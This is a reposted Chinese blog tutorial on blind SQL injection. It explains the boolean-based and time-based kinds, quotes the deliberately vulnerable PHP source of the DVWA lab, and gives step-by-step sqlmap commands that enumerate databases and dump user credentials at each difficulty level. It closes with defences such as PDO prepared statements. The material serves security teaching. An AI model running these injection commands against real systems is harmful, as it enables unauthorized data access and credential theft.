0


SQL Injection (Blind)之盲注(原理、分类、利用)

SQL Injection (Blind)盲注

一、SQL盲注概述

在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响 应时间不同)。一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)
基于时间的盲注(Time based)

1.1 基于布尔的盲注

某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页 面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的 数据。

1.2 基于时间的盲注

又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

1.3 SQL盲注常用函数

if()

功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1
为true则返回expr2,expr1为false则返回 expr3。
注: 仅MySQL支持if(expr1,expr2,expr3)。

length()

功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()

功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
lstr:要提取子串的字符串。
lpos:提取子串的开始位置。
len:指定要提取的子串的长度

ascii()、ord()

功能:返回字符串最左边字符的ASCII码值。
语法格式:ascii(str),ord(str)
延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延迟执行N秒。

二、SQL盲注测试

实验环境:DVWA

2.1 DVWA-LOW级别下的sql盲注

第一步:分析源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
 // Get input
 $id = $_GET[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            try {
                $exists = (mysqli_num_rows( $result ) > 0);
            } catch(Exception $e) {
                $exists = false;
            }
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }

        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
} else {
    // User wasn't found, so the page wasn't!
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

由源码可以看到未对参数进行任何检查、过滤,只是回显的时候被隐藏,存在明显sql注入漏洞,返回结果只有两种,user id exiets in the database和user id is missing from the database。

第二步:获取url和cookie

启动Burpsuite,在SQL injection(Blind)中输入如下,然后查看Burpsuite中抓到的URL和Cookie。
在这里插入图片描述

第三步:进行sqlmap

sqlmap –u “http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#” --cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch
在这里插入图片描述

发现有两个类型的注入漏洞,一个是基于布尔的,一个是基于时间的

第四步:遍历数据库

sqlmap –u “http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#” --cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch --dbs
在这里插入图片描述

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa --tables
在这里插入图片描述

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users --columns
在这里插入图片描述

第七步:查看user和password的内容并解密

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users --dump
在这里插入图片描述

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users -C user,password -dump
在这里插入图片描述

2.2 DVWA-Medium级别下的sql盲注

第一步:分析源码

if( isset( $_POST[ 'Submit' ] ) ) {
 // Get input
 $id = $_POST[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            try {
                $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
            } catch(Exception $e) {
                $exists = false;
            }
        }

        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }
        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
} else {
    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。

第二步:获取url和cookie

在这里插入图片描述
Cookie: PHPSESSID=c70fedb980dad8412a65b6d7; security=medium

第三步:进行sqlmap

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch
在这里插入图片描述

注入类型为post,一个是基于布尔的,一个是基于时间的

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch --dbs
在这里插入图片描述

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa --tables
在这里插入图片描述

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
在这里插入图片描述

第七步:查看user和password的内容并解密

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users -C user,password -dump
在这里插入图片描述
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --dump
在这里插入图片描述

2.3 DVWA-high级别下的sql盲注

第一步:分析源码
if( isset( $_COOKIE[ 'id' ] ) ) {
 // Get input
 $id = $_COOKIE[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            // Get results
            try {
                $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
            } catch(Exception $e) {
                $exists = false;
            }
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }

        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
}
else {
    // Might sleep a random amount
    if( rand( 0, 5 ) == 3 ) {
        sleep( rand( 2, 4 ) );
    }

    // User wasn't found, so the page wasn't!
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

限制了输出行数为一行,而且失败时 当他随机生成的数等于3就会随机休眠2-4秒,目的是干扰基于时间的盲注

第二步:获取url和cookie

在这里插入图片描述

第三步:进行sqlmap

–second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch
在这里插入图片描述

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch --dbs
在这里插入图片描述

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch -D dvwa --tables
在这里插入图片描述

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
在这里插入图片描述

第七步:查看user和password的内容并解密

在这里插入图片描述
做到这里我发现从一开始就错了,一个非常低级简单的简单的错误:我的url选错了,而且high等级有两个窗口,请求窗口和响应窗口,查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。
在这里插入图片描述

我们还需要引入一个知识点–second-order(二阶sql注入)
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch
在这里插入图片描述

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch --dbs
在这里插入图片描述

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa --tables
在这里插入图片描述

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users --columns
在这里插入图片描述

第七步:查看user和password的内容并解密
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users -C user,password --dump
在这里插入图片描述

到这里就注入成功了!

2.4 DVWA-Impossible级别下的sql盲注

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

三、sql盲注的防御

与sql注入的防御方法一样,这里再写一遍
1.使用安全的API(应用程序编程接口)
2.过滤危险字符,例如采用正则表达式匹配union、sleep等关键字,如果匹配到,则退出程序。
3.对输入的特殊字符进行Escape转义处理
4.使用白名单来规范用户的输入,对客户端进行控制,不允许输入SQL注入相关的特殊字符
5.服务器端在提交数据之前进行SQL语句查询,对特殊字符进行过滤、转义、替换和删除等操作
6.使用PDO预编译语句,PDO技术就是将查询查询的语句和输入的参数分开,先将需要查询的语句进行预编译,然后再将参数传入进去,注意,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。(PDO预编译是防御SQL注入最好的方法)


本文转载自: https://blog.csdn.net/weixin_51513059/article/details/129754922
版权归原作者 橘子~ 所有, 如有侵权,请联系我们删除。

“SQL Injection (Blind)之盲注(原理、分类、利用)”的评论:

还没有评论